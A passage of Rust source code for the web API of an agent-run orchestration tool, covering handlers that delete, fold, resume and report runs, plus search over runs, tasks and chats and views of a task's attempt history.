3282 Ok(Json(RunDetailView::of(
3283 state,
3284 live,
3285 superseded_by,
3286 latest_attempt,
3287 task,
3288 )))
3289 })
3290 .await
3291}
3292
3293async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3302 let (id, unreadable) = {
3303 let ui = Arc::clone(&ui);
3304 blocking(move || {
3305 let id = resolve_run(&ui.runs, &id)?;
3306 match read_run(&ui.runs, &id) {
3307 Ok(state) => {
3308 let in_flight =
3309 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3310 state
3311 .ensure_can_delete(in_flight)
3312 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3313 let dir = ui.runs.join(&id);
3314 std::fs::remove_dir_all(&dir)
3315 .with_context(|| format!("remove run directory {}", dir.display()))?;
3316 Ok((id, false))
3317 }
3318 Err(_) => {
3319 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3323 return Err(ApiError::conflict(format!(
3324 "run {id} is being worked on by a live daemon right now"
3325 )));
3326 }
3327 Ok((id, true))
3328 }
3329 }
3330 })
3331 .await?
3332 };
3333 if unreadable {
3334 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3335 .await
3336 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3337 }
3338 let ui = Arc::clone(&ui);
3339 let done = id.clone();
3340 blocking(move || {
3341 ui.questions.abandon_for_run(
3344 &done,
3345 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3346 )?;
3347 Ok(())
3348 })
3349 .await?;
3350 Ok(StatusCode::NO_CONTENT)
3351}
3352
3353async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3377 let (id, state) = {
3378 let ui = Arc::clone(&ui);
3379 blocking(move || {
3380 let id = resolve_run(&ui.runs, &id)?;
3381 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3382 return Err(ApiError::conflict(format!(
3383 "run {id} is being worked on by a live daemon right now"
3384 )));
3385 }
3386 let state = read_run(&ui.runs, &id).ok();
3387 Ok((id, state))
3388 })
3389 .await?
3390 };
3391 let removed = match state {
3392 Some(mut state) => {
3393 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3394 .await
3395 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3396 if removed.is_empty() {
3401 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3402 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3403 }
3404 removed
3405 }
3406 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3407 .await
3408 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3409 };
3410 Ok(Json(FoldView {
3411 run: id,
3412 removed_count: removed.len(),
3413 removed,
3414 }))
3415}
3416
3417#[derive(Debug, Serialize)]
3419struct FoldView {
3420 run: String,
3421 removed: Vec<String>,
3423 removed_count: usize,
3424}
3425
3426#[derive(Debug, Deserialize)]
3429struct FoldMergedBody {
3430 #[serde(default)]
3431 pr_url: String,
3432}
3433
3434async fn run_fold_merged(
3454 State(ui): State<Arc<Ui>>,
3455 Path(id): Path<String>,
3456 Json(body): Json<FoldMergedBody>,
3457) -> ApiResult<Json<FoldMergedView>> {
3458 let pr_url = body.pr_url.trim().to_owned();
3459 if pr_url.is_empty() {
3460 return Err(ApiError::bad_request("pr_url is required"));
3461 }
3462 let (id, mut state) = {
3463 let ui = Arc::clone(&ui);
3464 blocking(move || {
3465 let id = resolve_run(&ui.runs, &id)?;
3466 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3467 return Err(ApiError::conflict(format!(
3468 "run {id} is being worked on by a live daemon right now"
3469 )));
3470 }
3471 let state = read_run(&ui.runs, &id)?;
3472 Ok((id, state))
3473 })
3474 .await?
3475 };
3476 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3477 .await
3478 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3479 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3480 .await
3481 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3482 Ok(Json(FoldMergedView {
3483 run: id,
3484 before: before.as_str().to_owned(),
3485 after: after.as_str().to_owned(),
3486 removed,
3487 }))
3488}
3489
3490#[derive(Debug, Serialize)]
3492struct FoldMergedView {
3493 run: String,
3494 before: String,
3496 after: String,
3498 removed: Vec<String>,
3500}
3501
3502async fn run_resume(
3522 State(ui): State<Arc<Ui>>,
3523 Path(id): Path<String>,
3524) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3525 let (id, state) = {
3526 let ui = Arc::clone(&ui);
3527 blocking(move || {
3528 let id = resolve_run(&ui.runs, &id)?;
3529 let state = read_run(&ui.runs, &id)?;
3530 Ok((id, state))
3531 })
3532 .await?
3533 };
3534 if let Some(to) = &state.released_to {
3535 return Err(ApiError::conflict(format!(
3536 "run {} can no longer be resumed: its worktree was released to run {}, which \
3537 took the branch over.",
3538 state.short(),
3539 crate::run::short_of(to)
3540 )));
3541 }
3542 if !state.status.resumable() {
3543 return Err(ApiError::conflict(format!(
3544 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3545 state.short(),
3546 status_word(state.status)
3547 )));
3548 }
3549 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3554 .into_iter()
3555 .next()
3556 {
3557 return Err(ApiError::conflict(format!(
3558 "the loop is running run {} right now; stop it first, or wait for \
3559 it to finish, before resuming a run by hand.",
3560 crate::run::short_of(&work.run)
3561 )));
3562 }
3563 let _resume = ui.begin_resume(&id)?;
3564
3565 let queued = RunSummary::of(
3568 &state,
3569 !ui.questions.open_for(&id).is_empty(),
3570 state.liveness(false),
3571 );
3572 let run = id.clone();
3573 tokio::spawn(async move {
3574 let _resume = _resume;
3575 match crate::graph::Runner::resume(&run) {
3576 Ok(mut runner) => {
3577 if let Err(e) = runner.execute().await {
3578 tracing::warn!("resume of run {run} stopped: {e:#}");
3579 }
3580 }
3581 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3584 }
3585 });
3586 Ok((StatusCode::ACCEPTED, Json(queued)))
3587}
3588
3589async fn run_report(
3590 State(ui): State<Arc<Ui>>,
3591 Path(id): Path<String>,
3592) -> ApiResult<impl IntoResponse> {
3593 let text = blocking(move || {
3594 let id = resolve_run(&ui.runs, &id)?;
3595 let state = read_run(&ui.runs, &id)?;
3599 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3600 let live = state.liveness(daemon_claims);
3601 Ok(format!(
3602 "{}{}",
3603 report::run(&state),
3604 report::active_seats(&state, live)
3605 ))
3606 })
3607 .await?;
3608 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3609}
3610
3611async fn run_report_json(
3615 State(ui): State<Arc<Ui>>,
3616 Path(id): Path<String>,
3617) -> ApiResult<Json<crate::report_view::RunReportView>> {
3618 let view = blocking(move || {
3619 let id = resolve_run(&ui.runs, &id)?;
3620 let state = read_run(&ui.runs, &id)?;
3621 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3622 Ok(crate::report_view::build(
3623 &state,
3624 state.liveness(daemon_claims),
3625 ))
3626 })
3627 .await?;
3628 Ok(Json(view))
3629}
3630
3631#[derive(Debug, Serialize)]
3637struct TaskView {
3638 #[serde(flatten)]
3639 task: Task,
3640 source_label: String,
3641 source_link: Option<SourceLink>,
3642 status_str: &'static str,
3643 instruction_md: Vec<md::Node>,
3647 waits_on: Vec<String>,
3651 stuck_roots: Vec<String>,
3654}
3655
3656impl From<Task> for TaskView {
3657 fn from(task: Task) -> Self {
3658 Self {
3659 source_label: task.source.label(),
3660 source_link: source_link(&task.source),
3661 status_str: task.status.as_str(),
3662 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3663 waits_on: Vec::new(),
3664 stuck_roots: Vec::new(),
3665 task,
3666 }
3667 }
3668}
3669
3670impl TaskView {
3671 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3672 let waits_on = inv.waits_on(&task);
3673 let stuck_roots = inv
3674 .stuck_roots(&task)
3675 .iter()
3676 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3677 .collect();
3678 Self {
3679 waits_on,
3680 stuck_roots,
3681 ..Self::from(task)
3682 }
3683 }
3684}
3685
3686#[derive(Debug, Default, Deserialize)]
3689#[serde(default)]
3690struct ReposQuery {
3691 refresh: u8,
3692}
3693
3694async fn repos_list(
3701 State(ui): State<Arc<Ui>>,
3702 Query(q): Query<ReposQuery>,
3703) -> ApiResult<Json<Vec<repos::Repo>>> {
3704 let refresh = q.refresh != 0;
3705 blocking(move || {
3706 let (cfg, _) = Config::discover(&ui.repo, None)?;
3707 Ok(Json(ui.repos_cache.list(
3708 &cfg.repos.roots,
3709 Duration::from_secs(cfg.repos.scan_ttl),
3710 refresh,
3711 )))
3712 })
3713 .await
3714}
3715
3716async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3720 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3721}
3722
3723#[derive(Debug, Deserialize)]
3725#[serde(deny_unknown_fields)]
3726struct RolesBody {
3727 revision: String,
3729 #[serde(default)]
3731 roles: std::collections::BTreeMap<String, Vec<String>>,
3732 #[serde(default)]
3736 counts: std::collections::BTreeMap<String, serde_json::Value>,
3737}
3738
3739async fn settings_put_roles(
3745 State(ui): State<Arc<Ui>>,
3746 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3747) -> ApiResult<Json<settings::SettingsView>> {
3748 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3749 blocking(move || {
3750 settings::save(
3751 &ui.repo,
3752 ui.machine_config.as_deref(),
3753 &body.revision,
3754 &body.roles,
3755 &body.counts,
3756 )
3757 .map(Json)
3758 .map_err(|e| match e {
3759 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3760 settings::SaveError::Refused(m) => ApiError {
3761 status: StatusCode::UNPROCESSABLE_ENTITY,
3762 message: m,
3763 },
3764 settings::SaveError::Internal(m) => ApiError::internal(m),
3765 })
3766 })
3767 .await
3768}
3769
3770async fn queue_list(
3771 State(ui): State<Arc<Ui>>,
3772 Query(q): Query<ListQuery>,
3773) -> ApiResult<Json<Vec<TaskView>>> {
3774 blocking(move || {
3775 let tasks = ui.queue.list();
3776 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3777 Ok(Json(
3778 tasks
3779 .into_iter()
3780 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3781 .map(|t| TaskView::with_inventory(t, &inv))
3782 .collect(),
3783 ))
3784 })
3785 .await
3786}
3787
3788const SEARCH_MAX_HITS: usize = 100;
3790const SEARCH_MAX_QUERY: usize = 200;
3792const SEARCH_MAX_TERMS: usize = 8;
3793const SNIPPET_BEFORE: usize = 50;
3795const SNIPPET_AFTER: usize = 110;
3796
3797#[derive(Debug, Deserialize)]
3799struct SearchQuery {
3800 #[serde(default)]
3801 scope: String,
3802 #[serde(default)]
3803 q: String,
3804}
3805
3806#[derive(Debug, Serialize, PartialEq, Eq)]
3809struct SnippetPart {
3810 text: String,
3811 hit: bool,
3812}
3813
3814#[derive(Debug, Serialize)]
3815struct SearchHit {
3816 id: String,
3817 field: String,
3819 snippet: Vec<SnippetPart>,
3820 #[serde(skip_serializing_if = "Option::is_none")]
3824 run: Option<RunSummary>,
3825}
3826
3827#[derive(Debug, Serialize)]
3828struct SearchView {
3829 scope: String,
3830 q: String,
3831 hits: Vec<SearchHit>,
3833 total: usize,
3835 truncated: bool,
3836 unreadable: usize,
3839}
3840
3841fn text_leaves<'a>(
3844 value: &'a serde_json::Value,
3845 field: &'a str,
3846 out: &mut Vec<(&'a str, &'a str)>,
3847) {
3848 match value {
3849 serde_json::Value::String(s) => out.push((field, s)),
3850 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3851 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3852 _ => {}
3853 }
3854}
3855
3856fn fold_char(c: char) -> char {
3859 c.to_lowercase().next().unwrap_or(c)
3860}
3861
3862fn search_terms(q: &str) -> Vec<String> {
3864 let mut terms: Vec<String> = Vec::new();
3865 for t in q.split_whitespace() {
3866 let t = t.to_lowercase();
3867 if !terms.contains(&t) {
3868 terms.push(t);
3869 }
3870 }
3871 terms
3872}
3873
3874fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3877 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3878 let mut first: Option<usize> = None;
3879 for term in terms {
3880 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3881 first = Some(first.map_or(at, |f| f.min(at)));
3882 }
3883 let (field, text) = leaves[first?];
3885 Some(SearchHit {
3886 id: String::new(),
3887 field: field.to_owned(),
3888 snippet: snippet_of(text, terms),
3889 run: None,
3890 })
3891}
3892
3893fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3896 let chars: Vec<char> = text.chars().collect();
3897 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3898 let needles: Vec<Vec<char>> = terms
3899 .iter()
3900 .map(|t| t.chars().map(fold_char).collect())
3901 .collect();
3902 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3903 let mut best: Option<(usize, usize)> = None;
3904 for n in needles.iter().filter(|n| !n.is_empty()) {
3905 if n.len() > chars.len() || to == 0 {
3909 continue;
3910 }
3911 let last = (to - 1).min(chars.len() - n.len());
3912 if from > last {
3913 continue;
3914 }
3915 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3916 && best.is_none_or(|(b, _)| i < b)
3917 {
3918 best = Some((i, i + n.len()));
3919 }
3920 }
3921 best
3922 };
3923 let Some((start, _)) = find(0, chars.len()) else {
3924 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3926 return vec![SnippetPart {
3927 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3928 hit: false,
3929 }];
3930 };
3931 let lo = start.saturating_sub(SNIPPET_BEFORE);
3932 let hi = (start + SNIPPET_AFTER).min(chars.len());
3933 let mut parts: Vec<SnippetPart> = Vec::new();
3934 let mut push = |s: &[char], hit: bool| {
3935 if s.is_empty() {
3936 return;
3937 }
3938 let text: String = s.iter().collect();
3939 match parts.last_mut() {
3940 Some(p) if p.hit == hit => p.text.push_str(&text),
3941 _ => parts.push(SnippetPart { text, hit }),
3942 }
3943 };
3944 if lo > 0 {
3945 push(&['\u{2026}'], false);
3946 }
3947 let mut at = lo;
3948 while at < hi {
3949 match find(at, hi) {
3950 Some((s, e)) => {
3951 push(&chars[at..s], false);
3952 let shown = e.min(hi);
3954 push(&chars[s..shown], true);
3955 at = shown;
3956 }
3957 None => {
3958 push(&chars[at..hi], false);
3959 at = hi;
3960 }
3961 }
3962 }
3963 if hi < chars.len() {
3964 push(&['\u{2026}'], false);
3965 }
3966 let mut prev_space = false;
3969 for p in &mut parts {
3970 let mut out = String::with_capacity(p.text.len());
3971 for c in p.text.chars() {
3972 if c.is_whitespace() {
3973 if !prev_space {
3974 out.push(' ');
3975 }
3976 prev_space = true;
3977 } else {
3978 out.push(c);
3979 prev_space = false;
3980 }
3981 }
3982 p.text = out;
3983 }
3984 parts.retain(|p| !p.text.is_empty());
3985 parts
3986}
3987
3988fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3990where
3991 I: IntoIterator<Item = (String, serde_json::Value)>,
3992{
3993 for (id, doc) in docs {
3994 let mut leaves = Vec::new();
3995 leaves.push(("id", id.as_str()));
3998 text_leaves(&doc, "", &mut leaves);
3999 if let Some(mut hit) = search_document(terms, &leaves) {
4000 view.total += 1;
4001 if view.hits.len() < SEARCH_MAX_HITS {
4002 hit.id = id;
4003 view.hits.push(hit);
4004 }
4005 }
4006 }
4007 view.truncated = view.total > view.hits.len();
4008}
4009
4010fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4017 let opener = talk
4018 .turns
4019 .iter()
4020 .find(|t| t.who == crate::talk::Who::Operator)
4021 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4022 .unwrap_or("");
4023 let title: String = if opener.chars().count() > 96 {
4024 opener.chars().take(95).chain(['\u{2026}']).collect()
4025 } else {
4026 opener.to_owned()
4027 };
4028 let turns: Vec<serde_json::Value> = talk
4029 .turns
4030 .iter()
4031 .map(|t| {
4032 let who = match t.who {
4033 crate::talk::Who::Operator => "operator",
4034 crate::talk::Who::Agent => "agent",
4035 };
4036 serde_json::json!({ who: t.body })
4037 })
4038 .collect();
4039 serde_json::json!({ "title": title, "turns": turns })
4040}
4041
4042async fn search_get(
4049 State(ui): State<Arc<Ui>>,
4050 Query(q): Query<SearchQuery>,
4051) -> ApiResult<Json<SearchView>> {
4052 let query = q.q.trim().to_owned();
4053 if query.is_empty() {
4054 return Err(ApiError::bad_request("q must not be empty"));
4055 }
4056 if query.chars().count() > SEARCH_MAX_QUERY {
4057 return Err(ApiError::bad_request(format!(
4058 "q is longer than {SEARCH_MAX_QUERY} characters"
4059 )));
4060 }
4061 let terms = search_terms(&query);
4062 if terms.len() > SEARCH_MAX_TERMS {
4063 return Err(ApiError::bad_request(format!(
4064 "q has more than {SEARCH_MAX_TERMS} terms"
4065 )));
4066 }
4067 let scope = q.scope;
4068 if scope != "runs" && scope != "tasks" && scope != "chats" {
4069 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4070 }
4071 blocking(move || {
4072 let mut view = SearchView {
4073 scope: scope.clone(),
4074 q: query,
4075 hits: Vec::new(),
4076 total: 0,
4077 truncated: false,
4078 unreadable: 0,
4079 };
4080 if scope == "runs" {
4081 let mut unreadable = 0;
4082 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4086 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4087 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4088 Some(v) => Some((id, v)),
4089 None => {
4090 unreadable += 1;
4091 None
4092 }
4093 }
4094 });
4095 search_docs(&terms, docs, &mut view);
4096 view.unreadable = unreadable;
4097 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4100 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4101 for hit in &mut view.hits {
4102 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4103 hit.run = summarize(
4104 [state],
4105 &open_runs,
4106 &claimed,
4107 &superseded,
4108 |p| probe.borrow_mut().status(p),
4109 |p| probe.borrow_mut().started_at(p),
4110 )
4111 .pop();
4112 }
4113 }
4114 } else if scope == "chats" {
4115 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4116 view.unreadable = unreadable;
4117 search_docs(
4118 &terms,
4119 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4120 &mut view,
4121 );
4122 } else {
4123 let docs = ui.queue.list().into_iter().filter_map(|t| {
4124 let mut v = serde_json::to_value(&t).ok()?;
4125 if let Some(o) = v.as_object_mut() {
4128 o.insert("filed_by".to_owned(), t.source.label().into());
4129 }
4130 Some((t.id, v))
4131 });
4132 search_docs(&terms, docs, &mut view);
4133 }
4134 Ok(Json(view))
4135 })
4136 .await
4137}
4138
4139#[derive(Debug, Serialize)]
4141struct TaskRunView {
4142 n: usize,
4144 id: String,
4145 short: String,
4146 kind: &'static str,
4148 status: Option<&'static str>,
4150 readable: bool,
4152 provisional: bool,
4154 description: String,
4156 outcome: String,
4158 created_at: Option<Timestamp>,
4159 pr: Option<String>,
4160 exit: RunExit,
4162 attempt: AttemptCost,
4164 branch: Option<String>,
4166}
4167
4168#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4170#[serde(rename_all = "snake_case")]
4171enum RunExit {
4172 Unreadable,
4173 Interrupted,
4175 Parked,
4176 QuotaStall,
4177 ResumedQuotaStall,
4181 Merged,
4182 Ready,
4183 Superseded,
4184 AlreadyInBase,
4187 Stalled,
4189 HeldWithPr,
4191 NoopHeld,
4192 Spent,
4194 InProgress,
4195}
4196
4197#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4198#[serde(rename_all = "snake_case")]
4199enum AttemptCost {
4200 Spent,
4201 Refunded,
4202 None,
4203 Unknown,
4205}
4206
4207impl RunExit {
4208 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4209 let Some(s) = s else {
4210 return Self::Unreadable;
4211 };
4212 let status = s.status;
4213 if resumed_later {
4214 Self::Interrupted
4215 } else if s.parked {
4216 Self::Parked
4217 } else if !status.done() {
4218 Self::InProgress
4219 } else if matches!(status, RunStatus::Merged) {
4220 Self::Merged
4221 } else if matches!(status, RunStatus::Ready) {
4222 Self::Ready
4223 } else if matches!(status, RunStatus::Superseded) {
4224 Self::Superseded
4225 } else if matches!(status, RunStatus::AlreadyInBase) {
4226 Self::AlreadyInBase
4227 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4228 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4229 {
4230 if resumed {
4231 Self::ResumedQuotaStall
4232 } else {
4233 Self::QuotaStall
4234 }
4235 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4236 Self::HeldWithPr
4237 } else if matches!(status, RunStatus::VerifiedNoop) {
4238 Self::NoopHeld
4239 } else if matches!(status, RunStatus::Stalled) {
4240 Self::Stalled
4241 } else {
4242 Self::Spent
4243 }
4244 }
4245
4246 fn cost(self) -> AttemptCost {
4247 match self {
4248 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4249 Self::Merged
4250 | Self::Ready
4251 | Self::Stalled
4252 | Self::HeldWithPr
4253 | Self::NoopHeld
4254 | Self::Spent => AttemptCost::Spent,
4255 Self::InProgress => AttemptCost::None,
4256 Self::AlreadyInBase => AttemptCost::Refunded,
4257 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4258 AttemptCost::Unknown
4259 }
4260 }
4261 }
4262
4263 fn edge_label(self, status: Option<&str>) -> String {
4265 match self {
4266 Self::Unreadable => "record unreadable".to_owned(),
4267 Self::Interrupted => "interrupted before the run finished".to_owned(),
4268 Self::Parked => "parked, attempt refunded".to_owned(),
4269 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4270 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4271 Self::Merged => "merged".to_owned(),
4272 Self::Ready => "ready, not merged".to_owned(),
4273 Self::Superseded => "superseded by a later attempt".to_owned(),
4274 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4275 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4276 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4277 Self::NoopHeld => "verified no-op".to_owned(),
4278 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4279 Self::InProgress => "in progress".to_owned(),
4280 }
4281 }
4282
4283 fn explains(self, end: TaskStatus) -> bool {
4286 match self {
4287 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4288 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4289 Self::Unreadable | Self::Superseded | Self::Ready => true,
4290 _ => end != TaskStatus::Done,
4291 }
4292 }
4293}
4294
4295#[derive(Debug, Serialize)]
4297struct TaskDetailView {
4298 #[serde(flatten)]
4299 task: TaskView,
4300 max_attempts: usize,
4303 history: Vec<TaskRunView>,
4304 flow: FlowView,
4305 runs_unreadable: usize,
4307 attempts_note: &'static str,
4309}
4310
4311const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4312and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4313on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4314in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4315
4316fn review_branch_of(instruction: &str) -> Option<&str> {
4319 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4320 rest.split('`').next().filter(|b| !b.is_empty())
4321}
4322
4323struct RunSlot<'a> {
4325 n: usize,
4327 resumed: bool,
4329 resumed_later: Option<usize>,
4331 prior: Option<(&'a str, RunStatus)>,
4333 last: bool,
4334}
4335
4336fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4339 let RunSlot {
4340 n,
4341 resumed,
4342 resumed_later,
4343 prior,
4344 last,
4345 } = at;
4346 let short = run::short_of(id).to_owned();
4347 let Some(s) = state else {
4348 return TaskRunView {
4349 n,
4350 id: id.to_owned(),
4351 short,
4352 kind: "unknown",
4353 status: None,
4354 readable: false,
4355 provisional: false,
4356 description:
4357 "This run's record could not be read by this build (written by a different \
4358 magi, or removed), so what kind of attempt it was is unknown."
4359 .to_owned(),
4360 outcome: String::new(),
4361 created_at: None,
4362 pr: None,
4363 exit: RunExit::Unreadable,
4364 attempt: AttemptCost::Unknown,
4365 branch: None,
4366 };
4367 };
4368 let branch = review_branch_of(&s.instruction);
4369 let kind = if resumed {
4370 "resume"
4371 } else if branch.is_some() {
4372 "review"
4373 } else if task.solo || s.candidates.len() == 1 {
4374 "solo"
4375 } else {
4376 "competition"
4377 };
4378 let mut description = match kind {
4379 "resume" => {
4380 format!("Resumed run {short}: the same run carried on instead of competing again.")
4381 }
4382 "review" => format!(
4383 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4384 branch.unwrap_or_default()
4385 ),
4386 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4387 _ => format!(
4388 "Competition: {} candidates judged blind.",
4389 s.candidates.len().max(1)
4390 ),
4391 };
4392 if !resumed && let Some((p, st)) = prior {
4393 description.push_str(&format!(
4394 " A retry: run {p} before it ended {}.",
4395 st.display_label()
4396 ));
4397 }
4398
4399 let status = s.status;
4400 let provisional = matches!(status, RunStatus::Stalled)
4401 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4402 let head = if resumed_later.is_some() {
4403 String::new()
4404 } else {
4405 match status {
4406 RunStatus::Merged => "Merged.".to_owned(),
4407 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4408 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4409 RunStatus::AlreadyInBase => {
4410 "Already in the base: this change landed under other commits, nothing was left to land."
4411 .to_owned()
4412 }
4413 RunStatus::Stalled => {
4414 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4415 .to_owned()
4416 }
4417 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4418 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4419 RunStatus::VerifiedNoop => {
4420 "Verified no-op: the candidates found nothing to change.".to_owned()
4421 }
4422 other if other.done() => format!("Ended {}.", other.display_label()),
4423 other => format!("In progress ({}).", other.display_label()),
4424 }
4425 };
4426 let why = if let Some(k) = resumed_later {
4427 let cause = if s.quota.is_empty() {
4434 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4435 } else {
4436 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4437 };
4438 format!(
4439 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4440 )
4441 } else if s.parked {
4442 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4443 .to_owned()
4444 } else if !status.done()
4445 || matches!(
4446 status,
4447 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4448 )
4449 {
4450 String::new()
4451 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4452 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4453 {
4454 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4455 .to_owned()
4456 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4457 " It left a pull request open, so the task was held for a person rather than retried."
4458 .to_owned()
4459 } else if matches!(status, RunStatus::VerifiedNoop) {
4460 " Held for a person to check the claim.".to_owned()
4461 } else if last {
4462 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4463 } else {
4464 " It spent an attempt, and the task moved on to the next run.".to_owned()
4465 };
4466 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4467 TaskRunView {
4468 n,
4469 id: id.to_owned(),
4470 short,
4471 kind,
4472 status: Some(status.as_str()),
4473 readable: true,
4474 provisional,
4475 description,
4476 outcome: format!("{head}{why}"),
4477 created_at: Some(s.created_at),
4478 pr: s.pr.as_ref().map(|p| p.url.clone()),
4479 exit,
4480 attempt: exit.cost(),
4481 branch: branch.map(str::to_owned),
4482 }
4483}
4484
4485#[derive(Debug, Serialize, PartialEq)]
4487struct FlowNode {
4488 key: String,
4490 kind: &'static str,
4492 label: String,
4493 status: Option<&'static str>,
4496 note: Option<&'static str>,
4498 run_kind: Option<&'static str>,
4499 detail: Option<String>,
4500 decided: bool,
4502 readable: bool,
4503 href: Option<String>,
4504}
4505
4506#[derive(Debug, Serialize, PartialEq)]
4507struct FlowEdge {
4508 from: String,
4509 to: String,
4510 label: String,
4511 attempt: AttemptCost,
4512}
4513
4514#[derive(Debug, Serialize, PartialEq)]
4515struct FlowView {
4516 nodes: Vec<FlowNode>,
4517 edges: Vec<FlowEdge>,
4518 attempts: usize,
4520 max_attempts: usize,
4521}
4522
4523fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4526 let node = |key: &str, kind, label: String| FlowNode {
